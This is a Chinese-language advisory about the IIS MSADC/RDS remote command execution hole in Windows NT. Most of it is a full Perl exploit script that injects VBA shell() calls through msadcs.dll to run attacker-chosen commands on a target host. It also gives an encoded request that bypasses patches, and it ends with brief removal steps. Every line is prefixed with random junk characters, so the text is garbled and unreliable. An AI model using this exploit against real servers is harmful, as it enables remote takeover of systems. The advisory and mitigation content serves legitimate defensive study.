IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3b<;y%
3BB/u%N} 涉及程序:
W9A F} Microsoft NT server
F}5skD= j<L!(6B 描述:
Ye[Fu/0 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
SQJ4}w>i #*}cc 详细:
rFto1m 如果你没有时间读详细内容的话,就删除:
:~,V+2e c:\Program Files\Common Files\System\Msadc\msadcs.dll
!Jaj2mS.N 有关的安全问题就没有了。
(~:ip)v .5#+)] l 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
GGGz7_s
? }&EdA;/o_ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
uN$ <7KB" 关于利用ODBC远程漏洞的描述,请参看:
qp/nWGj P_
b8_ydU http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #5^S@}e >V&GL{ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
<?!%dV{z http://www.microsoft.com/security/bulletins/MS99-025faq.asp z,SNJIsx F Zk[w>{ 这里不再论述。
3X1
U h;J%Z!Rjw 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Oc/ i' F[0w*i&u5 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
z+nq<%"' 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
SCq3Kh ZVCa0Km
D#X&gE #将下面这段保存为txt文件,然后: "perl -x 文件名"
(i]0IYMXy* z+Ej`$E{lD #!perl
{=P}c:iW #
iDlg>UYd # MSADC/RDS 'usage' (aka exploit) script
NF_[q(k' #
mFBuKp+0)h # by rain.forest.puppy
4/&.N] #
3u=>Y^wu # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
/I0}(;^y # beta test and find errors!
4'L.I%#tZ ^<Sy{KY use Socket; use Getopt::Std;
twql)lbx getopts("e:vd:h:XR", \%args);
Z7dV y8J hDTM\>.c;s print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
q>VvXUyK, Odbm"Y if (!defined $args{h} && !defined $args{R}) {
B|-W print qq~
8?t}S2n2 Usage: msadc.pl -h <host> { -d <delay> -X -v }
l'"Ici#7Ls -h <host> = host you want to scan (ip or domain)
ztV%W6 -d <seconds> = delay between calls, default 1 second
^FK-e;J -X = dump Index Server path table, if available
EA<x$O -v = verbose
NO.5Vy -e = external dictionary file for step 5
b!z=: _RG2I)P Or a -R will resume a command session
!JPZ7_nn qD5)AdCGO ~; exit;}
F6
f ,<=_t{^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
t~
z;G%a if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
_z&H O if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
TiSV`V q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
??g
=
`yH $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
]goPjfWvU" if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
/Au7X'} 3>k?-%" if (!defined $args{R}){ $ret = &has_msadc;
/m+.5Qz9)@ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
WL1$LLzN V(6Ql
j7 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
{o8K&XU#&t . "cmd /c ";
!]!J"!xg* $in=<STDIN>; chomp $in;
Qy|6A@ $command="cmd /c " . $in ;
u S{WeL6% c4FU@^Vv if (defined $args{R}) {&load; exit;}
p~Mw^SN' 1tFx
Z#(G print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
u!I=|1s &try_btcustmr;
O3(H_(P R nk&:c print "\nStep 2: Trying to make our own DSN...";
M[Mx
g
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
WizVw&Iv v'u}%FC print "\nStep 3: Trying known DSNs...";
XM?C7/^k &known_dsn;
3qrjb]E%} $WZHkV print "\nStep 4: Trying known .mdbs...";
Z`{GjV3%wH &known_mdb;
*!yY7 ~# ^a;412 if (defined $args{e}){
:X#'ELo| print "\nStep 5: Trying dictionary of DSN names...";
vN`JP`IBx &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
$Q*^c"& +ZPn[| print "Sorry Charley...maybe next time?\n";
>SHW exit;
=_,j89E E3h-?ugO' ##############################################################################
3>buZ6vh 9I*`~il>{ sub sendraw { # ripped and modded from whisker
`'/1Ij+ sleep($delay); # it's a DoS on the server! At least on mine...
>twog}% my ($pstr)=@_;
6g%~~hX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,\0>d}eh! die("Socket problems\n");
F;)qM|7
if(connect(S,pack "SnA4x8",2,80,$target)){
p (x<h select(S); $|=1;
8jU6N*p/ print $pstr; my @in=<S>;
{$)pkhJ select(STDOUT); close(S);
%51HJB}C] return @in;
AR5)Uws } else { die("Can't connect...\n"); }}
N##-
vV (Ei} :6,} ##############################################################################
MD=!a5' cW\Y1=Gv| sub make_header { # make the HTTP request
&%` 0&y my $msadc=<<EOT
M0"}>`1lJ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
SI/p8 ^ User-Agent: ACTIVEDATA
;F\sMf{ Host: $ip
rZG6}<Hx Content-Length: $clen
%scQP{%aD Connection: Keep-Alive
(,2U?p -bQi4 ADCClientVersion:01.06
5tm:|.`SQ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
rb<9/z5- |FJc'&) J" --!ADM!ROX!YOUR!WORLD!
84M*)cKR~ Content-Type: application/x-varg
s,;L6nX" Content-Length: $reqlen
WEk3
4crk ;q%V)4 EOT
PgwNE wG ; $msadc=~s/\n/\r\n/g;
Z^ }4bR] return $msadc;}
QF9$SCmv (j884bu ##############################################################################
@y{
f>nm wxo{gBq sub make_req { # make the RDS request
Cc!LJ my ($switch, $p1, $p2)=@_;
%pr}Xs(-f my $req=""; my $t1, $t2, $query, $dsn;
g2W ZW#a) 7?"-NrW~ if ($switch==1){ # this is the btcustmr.mdb query
F)hUT@ $query="Select * from Customers where City=" . make_shell();
8Hh=Sp^ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1c}LX.9 K $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2+qU9[kd| oq9gG)F elsif ($switch==2){ # this is general make table query
J2Z?}5> $query="create table AZZ (B int, C varchar(10))";
2M3C
5Fu $dsn="$p1";}
C?lZu\L uy
oEMT#u elsif ($switch==3){ # this is general exploit table query
DjQgF=; $query="select * from AZZ where C=" . make_shell();
RS
/*Dp^ $dsn="$p1";}
=!P$[pN2 @1iH4RE* elsif ($switch==4){ # attempt to hork file info from index server
O*+,KKPt $query="select path from scope()";
@RFJe$% $dsn="Provider=MSIDXS;";}
u13v@<HGc _$BH.I elsif ($switch==5){ # bad query
Ej/P:nB $query="select";
*K2fp=Ns $dsn="$p1";}
Bu,VLIba nTxN>?l2E $t1= make_unicode($query);
jK-usn $t2= make_unicode($dsn);
@sLB
_f $req = "\x02\x00\x03\x00";
K8g9IZ*lT $req.= "\x08\x00" . pack ("S1", length($t1));
]:F?k#c $req.= "\x00\x00" . $t1 ;
\4roM1&[
$req.= "\x08\x00" . pack ("S1", length($t2));
Q804_F
F# $req.= "\x00\x00" . $t2 ;
!:9s>0';N $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Q[UYNQ0w return $req;}
8PwPI%Pb 2)47$eu ##############################################################################
o&U/e\zy $JZ}=\n7 sub make_shell { # this makes the shell() statement
!t+eJj return "'|shell(\"$command\")|'";}
@c^g< <;':'sW ##############################################################################
NM&R\GI &xMQ sub make_unicode { # quick little function to convert to unicode
o
C#W my ($in)=@_; my $out;
_Q6` Wp6m for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
(`FY{]Wz! return $out;}
- {| &Y|AX2KUC ##############################################################################
/F7X"_(H +U*:WKdI? sub rdo_success { # checks for RDO return success (this is kludge)
fD ?w!7f-1 my (@in) = @_; my $base=content_start(@in);
Jw)-6WJ!uO if($in[$base]=~/multipart\/mixed/){
6HR^q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
1i:Q
%E
F return 0;}
n`2LGc[rP `]4bH,%~ ##############################################################################
7Hzv-s 7=[/J*-m sub make_dsn { # this makes a DSN for us
L(w?.)E my @drives=("c","d","e","f");
=>,X)+O print "\nMaking DSN: ";
NncII5z foreach $drive (@drives) {
&)#bdt[ print "$drive: ";
7/GL@H my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
vK,.P:n "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
O t1:z:Pl . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
zTS#o#`!\ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
6`U]%qx_I return 0 if $2 eq "404"; # not found/doesn't exist
-Gmg&yQ9 if($2 eq "200") {
|&0zAP"\ foreach $line (@results) {
njg\y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
rhA>;9\ } return 0;}
nZ8f}R!f: fVx_]5jM ##############################################################################
])iw|`@dJ ;}E$>]*Yn sub verify_exists {
UJhUb)}^ my ($page)=@_;
'NDDj0Y my @results=sendraw("GET $page HTTP/1.0\n\n");
31=vUS
return $results[0];}
_&|<(m&." %r >Y)@$Vt ##############################################################################
X8212[7 ]d -U sub try_btcustmr {
fs6% M]u my @drives=("c","d","e","f");
o`<ps$yT my @dirs=("winnt","winnt35","winnt351","win","windows");
NG?- dkD
_)=eE foreach $dir (@dirs) {
jRYW3a_7 print "$dir -> "; # fun status so you can see progress
"6zf-++% foreach $drive (@drives) {
ry!0~ir print "$drive: "; # ditto
zaMKwv}BR $reqlen=length( make_req(1,$drive,$dir) ) - 28;
J1gLT $ $reqlenlen=length( "$reqlen" );
,%EGM+ $clen= 206 + $reqlenlen + $reqlen;
h1jEulcMtq Z]x)d|3; my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'5
kSr( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
't<hhjPqY else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
#AUV&pI[ CwQRHi ##############################################################################
_8'z"wF _W^{,*p sub odbc_error {
0;avWa)Q my (@in)=@_; my $base;
wwVg'V; my $base = content_start(@in);
>[a&,gS if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
!R@s+5P)U $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2JX@#vQ4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
D~LU3#n $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
KG9FR*" return $in[$base+4].$in[$base+5].$in[$base+6];}
DfV'1s4y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
>{@:p`* print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
{u{8QKeC $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
jz"-E YMD&U
##############################################################################
atmTI`i To@77.' sub verbose {
*>8Y/3Y\B my ($in)=@_;
=%ZR0cWPoI return if !$verbose;
9G=HG={ print STDOUT "\n$in\n";}
CWW|? b5.L== > ##############################################################################
F
uJ=]T SJXP}JB_ sub save {
Mv#\+|p 1x my ($p1, $p2, $p3, $p4)=@_;
:1,xs e open(OUT, ">rds.save") || print "Problem saving parameters...\n";
wS}Rl}#Oh? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
=?s0.(; close OUT;}
^{R.X:a w6FVSU]sY ##############################################################################
c!HmZ]/ mH)th7 sub load {
z;+LU6V my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
cNvh2JI open(IN,"<rds.save") || die("Couldn't open rds.save\n");
zPt0IB_j' @p=<IN>; close(IN);
UVj1nom $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
-P[bA0N, $target= inet_aton($ip) || die("inet_aton problems");
"pW@[2Dkx/ print "Resuming to $ip ...";
TSHH=`cx $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
; 6*Ag#Z if($p[1]==1) {
DX#_0-o $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
!:|[?M.` $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
~zD*=h2C my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
w;(B4^? if (rdo_success(@results)){print "Success!\n";}
F,>-+~L= else { print "failed\n"; verbose(odbc_error(@results));}}
F-I\x elsif ($p[1]==3){
8@J5tFJ&% if(run_query("$p[3]")){
d 0CFMy6 print "Success!\n";} else { print "failed\n"; }}
n 9N'}z elsif ($p[1]==4){
``* !b>) if(run_query($drvst . "$p[3]")){
("-`Y'"K print "Success!\n"; } else { print "failed\n"; }}
Qb~&a1&s# exit;}
^":Dk5gl c3G&)gU4q ##############################################################################
F\(7B# t?404 sub create_table {
8w]>SEGFs my ($in)=@_;
sksop4gu5 $reqlen=length( make_req(2,$in,"") ) - 28;
2=p"%YSn $reqlenlen=length( "$reqlen" );
1?5UVv_F $clen= 206 + $reqlenlen + $reqlen;
[*|QA9 my @results=sendraw(make_header() . make_req(2,$in,""));
6A \Z221E return 1 if rdo_success(@results);
@!zT+W& my $temp= odbc_error(@results); verbose($temp);
HG)c\b return 1 if $temp=~/Table 'AZZ' already exists/;
S+Vsy( return 0;}
jXALN X* Dt<i};v ##############################################################################
p&4#9I5 X=d;WT4,, sub known_dsn {
*N|s+ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
n]+v Eu| my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
6ISDY>p "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
| *J-9 "banner", "banners", "ads", "ADCDemo", "ADCTest");
SuU %x2 '#faNVPABh foreach $dSn (@dsns) {
%/(>>*}Kw| print ".";
6
SosVE>Z next if (!is_access("DSN=$dSn"));
&?@5G if(create_table("DSN=$dSn")){
K9+C3"*I print "$dSn successful\n";
5{uK;Vxse if(run_query("DSN=$dSn")){
gQ=g,X4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"TgE@bC print "Something's borked. Use verbose next time\n";}}} print "\n";}
:5M7*s)e16 G,J~Ed ##############################################################################
rtM!|apr x3>PM]r(V sub is_access {
>IzUn: 0F my ($in)=@_;
]2Q:&T $reqlen=length( make_req(5,$in,"") ) - 28;
'9#O#I&J $reqlenlen=length( "$reqlen" );
&]? X"K $clen= 206 + $reqlenlen + $reqlen;
B "z`X!\ my @results=sendraw(make_header() . make_req(5,$in,""));
*NDM{WB|) my $temp= odbc_error(@results);
'l}T_7g verbose($temp); return 1 if ($temp=~/Microsoft Access/);
Uc3-n`C return 0;}
<
<vE . 3+EAMn ##############################################################################
4,|A\dXE d* 6 lJT sub run_query {
Vp'Zm: my ($in)=@_;
1*"t-+| $reqlen=length( make_req(3,$in,"") ) - 28;
}(r%'(.6 $reqlenlen=length( "$reqlen" );
Z E*m; $clen= 206 + $reqlenlen + $reqlen;
SOI$Mx my @results=sendraw(make_header() . make_req(3,$in,""));
p(F}[bP return 1 if rdo_success(@results);
|GvWHe` my $temp= odbc_error(@results); verbose($temp);
-U?Udmov return 0;}
{5=Iu\e Qw ukhD7 ##############################################################################
\p-3P)U .#,!&Lt sub known_mdb {
E-\<,=bh my @drives=("c","d","e","f","g");
5;5DEMe my @dirs=("winnt","winnt35","winnt351","win","windows");
.
_5g<aw; my $dir, $drive, $mdb;
q}PeXXH my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3f2%+2Zjt, X4:\Shb97 # this is sparse, because I don't know of many
)5}=^aqd my @sysmdbs=( "\\catroot\\icatalog.mdb",
>Q$, } `U; "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
vap,)kILF "\\system32\\certmdb.mdb",
kgX"LQh;[G "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
zoV4Gl 'E{n1[b my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
UJXRL
"\\cfusion\\cfapps\\forums\\forums_.mdb",
[4NJ]r M% "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
iyF~:[8 "\\cfusion\\cfapps\\security\\realm_.mdb",
,&$+{3 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
JC~L!)f "\\cfusion\\database\\cfexamples.mdb",
j9@7\N< "\\cfusion\\database\\cfsnippets.mdb",
0,a;N%K- "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
0^41dfdE "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
S`oADy "\\cfusion\\brighttiger\\database\\cleam.mdb",
[X'XxYbZ "\\cfusion\\database\\smpolicy.mdb",
qn VxP& "\\cfusion\\database\cypress.mdb",
7cGc`7 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
=/Ob
kVYf "\\website\\cgi-win\\dbsample.mdb",
`.dX@< "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
DD3.el}6a "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
cnQ;6LtFTz ); #these are just
e6C;A]T2E foreach $drive (@drives) {
,GB~Cmc1<Q foreach $dir (@dirs){
8E:8iNbF foreach $mdb (@sysmdbs) {
wN"j:G( print ".";
G x;U 3iV if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
!o+Y"* / print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
nyyKA_#:5 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
"+oP((9 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
L*xu<(>K } else { print "Something's borked. Use verbose next time\n"; }}}}}
$4^cbk =IQ+9Fl2 foreach $drive (@drives) {
q6h'=By foreach $mdb (@mdbs) {
~c&ygL3 print ".";
3;@/`Z_\lt if(create_table($drv . $drive . $dir . $mdb)){
Yj/aa0Ka4 print "\n" . $drive . $dir . $mdb . " successful\n";
*=Ko"v
} if(run_query($drv . $drive . $dir . $mdb)){
%#xdD2oN print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
{sn RS)- } else { print "Something's borked. Use verbose next time\n"; }}}}
p^|IN'lx, }
]Ek6EuaK <j}n/G] ##############################################################################
sN`2"t/s ke'aSD sub hork_idx {
e6E{l print "\nAttempting to dump Index Server tables...\n";
+gZg7]!Z print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
{tUjUwhz( $reqlen=length( make_req(4,"","") ) - 28;
c418TjO; $reqlenlen=length( "$reqlen" );
J1@X6U!{ $clen= 206 + $reqlenlen + $reqlen;
>K
}j}M% my @results=sendraw2(make_header() . make_req(4,"",""));
B$R"Ntp if (rdo_success(@results)){
{E6M_qZ my $max=@results; my $c; my %d;
xbbQ)sH&m for($c=19; $c<$max; $c++){
y0!-].5UH $results[$c]=~s/\x00//g;
d5zv8?|X+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
snPM& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
E8_j?X1 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
kD&%
7Vz $d{"$1$2"}="";}
q]%eLfC( foreach $c (keys %d){ print "$c\n"; }
Wpgp YcPS } else {print "Index server doesn't seem to be installed.\n"; }}
T bMW?Su /NFk@8<? ##############################################################################
4+rr3 $AY bXVH7F y sub dsn_dict {
>o=O^:/L open(IN, "<$args{e}") || die("Can't open external dictionary\n");
H =Y7#{} while(<IN>){
%gK@R3p $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
!GB\-( next if (!is_access("DSN=$dSn"));
>
-P UY if(create_table("DSN=$dSn")){
( v<l9}! print "$dSn successful\n";
0GEM3~~D.? if(run_query("DSN=$dSn")){
q"Ct=d print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
nitKX.t8 print "Something's borked. Use verbose next time\n";}}}
sGg=4(D print "\n"; close(IN);}
5c(mgEvq Un[olp ##############################################################################
>3{#S: q1rBSlzN sub sendraw2 { # ripped and modded from whisker
1r!o,0!d-' sleep($delay); # it's a DoS on the server! At least on mine...
$1aJdZC7 my ($pstr)=@_;
L#t^:% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Hz?C9q3BX die("Socket problems\n");
\<cs:C\h7 if(connect(S,pack "SnA4x8",2,80,$target)){
v[k;R print "Connected. Getting data";
ZGILV open(OUT,">raw.out"); my @in;
/INjP~C select(S); $|=1; print $pstr;
$KSdNFtM)A while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
<+7]EwVcn^ close(OUT); select(STDOUT); close(S); return @in;
<1t.f}}uX } else { die("Can't connect...\n"); }}
_/FpmnaY +JyD W%a:L ##############################################################################
OoW,mmthj> ??\1eo2gB sub content_start { # this will take in the server headers
41-u*$ my (@in)=@_; my $c;
A_h|f5
for ($c=1;$c<500;$c++) {
\nfjz\"R?b if($in[$c] =~/^\x0d\x0a/){
ivgV5)". if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
OTgctw1s else { return $c+1; }}}
UY(pKe> return -1;} # it should never get here actually
8C,}nh y7f,]<%e_ ##############################################################################
c(@(j8@S ,, 8hU7P sub funky {
}da}vR"iL my (@in)=@_; my $error=odbc_error(@in);
)6~s;y! if($error=~/ADO could not find the specified provider/){
S*aVcyDEP print "\nServer returned an ADO miscofiguration message\nAborting.\n";
m`;dFL7"E exit;}
(]_smsok if($error=~/A Handler is required/){
|:H
9#= print "\nServer has custom handler filters (they most likely are patched)\n";
D^_]x51> exit;}
B//2R)HS if($error=~/specified Handler has denied Access/){
0|Rt[qwKb@ print "\nServer has custom handler filters (they most likely are patched)\n";
EgE%NY~ exit;}}
3I"xuKxc k?!CJ@5$ ##############################################################################
=3~5I& 1
N{unS sub has_msadc {
%`]&c)Z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
+69[06F my $base=content_start(@results);
`G@(Z:]f,t return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
QPD[uJ(I return 0;}
`6No6.\J 8QJ^@|7 ########################
"c9T4=]&t K2Z]MpLD ES4[@RX 解决方案:
*#n#J[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Z2t'?N|_ 2、移除web 目录: /msadc